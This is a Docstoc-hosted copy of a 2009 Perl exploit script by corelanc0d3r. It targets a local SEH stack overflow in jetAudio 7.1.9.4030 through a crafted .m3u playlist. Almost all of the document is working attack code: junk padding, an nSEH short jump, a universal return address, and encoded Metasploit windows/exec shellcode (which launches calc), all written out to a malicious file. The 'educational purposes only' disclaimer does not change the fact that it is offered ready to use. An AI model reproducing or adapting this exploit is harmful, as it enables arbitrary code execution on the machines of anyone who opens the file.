Docstoc

jetAudio v 7.1.9.4030 plus vx .m3u Local Stack Overflow SEH

Document Sample
jetAudio v 7.1.9.4030 plus vx .m3u Local Stack Overflow SEH Powered By Docstoc
					                           jetAudio v 7.1.9.4030 plus vx .m3u Local Stack Overflow SEH             Page 1/2
   1   #    [+] Vulnerability       : jetAudio v 7.1.9.4030 plus vx (.m3u ) Local Stack Overflow
   2   #    [+] Detected by         : HACK4LOVE (http://www.milw0rm.com/exploits/9359)
   3   #    [+] Product             : jetAudio
   4   #    [+] Versions affected : 7.1.9.4030 plus vx
   5   #    [+] −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
   6   #    [+] Method              : RET − Universal !
   7   #    [+] Tested on           : Windows XP SP3 En
   8   #    [+] Xploit written by : corelanc0d3r (corelanc0d3r[at]gmail[dot]com)
   9   #    [+] Greetz&Tx to        : Saumil/SK
  10   #    [+] −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
  11   #                                                    MMMMM~.
  12   #                                                    MMMMM?.
  13   #       MMMMMM8. .=MMMMMMM.. MMMMMMMM, MMMMMMM8. MMMMM?. MMMMMMM:       MMMMMMMMMM.
  14   #     MMMMMMMMMM=.MMMMMMMMMMM.MMMMMMMM=MMMMMMMMMM=.MMMMM?7MMMMMMMMMM: MMMMMMMMMMM:
  15   #     MMMMMIMMMMM+MMMMM$MMMMM=MMMMMD$I8MMMMMIMMMMM~MMMMM?MMMMMZMMMMMI.MMMMMZMMMMM:
  16   #     MMMMM==7III~MMMMM=MMMMM=MMMMM$. 8MMMMMZ$$$$$~MMMMM?..MMMMMMMMMI.MMMMM+MMMMM:
  17   #     MMMMM=.      MMMMM=MMMMM=MMMMM7. 8MMMMM?     . MMMMM?NMMMM8MMMMMI.MMMMM+MMMMM:
  18   #     MMMMM=MMMMM+MMMMM=MMMMM=MMMMM7. 8MMMMM?MMMMM:MMMMM?MMMMMIMMMMMO.MMMMM+MMMMM:
  19   #     =MMMMMMMMMZ~MMMMMMMMMM8~MMMMM7. .MMMMMMMMMMO:MMMMM?MMMMMMMMMMMMIMMMMM+MMMMM:
  20   #     .:$MMMMMO7:..+OMMMMMO$=.MMMMM7. ,IMMMMMMO$~ MMMMM?.?MMMOZMMMMZ~MMMMM+MMMMM:
  21   #        .,,,..       .,,,,.    .,,,,,     ..,,,..   .,,,,.. .,,...,,,. .,,,,..,,,,.
  22   #                                                                        eip hunters
  23   #    −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
  24   #    Script provided ’as is’, without any warranty.
  25   #    Use for educational purposes only.
  26   #
  27
  28   my $sploitfile="c0d3rsploit.m3u";
  29
  30   print " [+] Preparing payload\n";
  31
  32   my    $header = "http://";
  33   my    $junk = "A" x 1017;
  34   my    $nseh = "\xeb\x06\x90\x90";
  35   my    $seh = pack(’V’,0x01221045);
  36
  37   # windows/exec − 303 bytes
  38   # http://www.metasploit.com
  39   # Encoder: x86/alpha_upper
  40   # EXITFUNC=seh, CMD=calc
  41   my $shellcode="\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" .
  42   "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
  43   "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
  44   "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
  45   "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
  46   "\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47" .
  47   "\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c" .
  48   "\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a" .
  49   "\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46" .
  50   "\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45" .
  51   "\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c" .
  52   "\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c" .
corelanc0d3r                                                                                       08/05/2009
                            jetAudio v 7.1.9.4030 plus vx .m3u Local Stack Overflow SEH   Page 2/2
  53   "\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44" .
  54   "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" .
  55   "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46" .
  56   "\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50" .
  57   "\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44" .
  58   "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" .
  59   "\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43" .
  60   "\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b" .
  61   "\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43" .
  62   "\x51\x42\x4c\x42\x43\x43\x30\x41\x41";
  63
  64
  65   my $footer="E" x (2000−length(junk.nseh.seh.shellcode));
  66
  67   my $payload = $header.$junk.$nseh.$seh.$shellcode.$footer;
  68
  69   print " [+] Writing payload to file\n";
  70
  71   open(sploitf,">$sploitfile");
  72   print sploitf $payload;
  73   close(sploitf);
  74   print " [+] Exploit file " . sploitfile . " created\n";
  75   print " [+] Wrote " . length($payload) . " bytes\n";
  76
  77   # milw0rm.com [2009−08−05]




corelanc0d3r                                                                              08/05/2009

				
DOCUMENT INFO
Shared By:
Categories:
Stats:
views:28
posted:5/24/2010
language:English
pages:2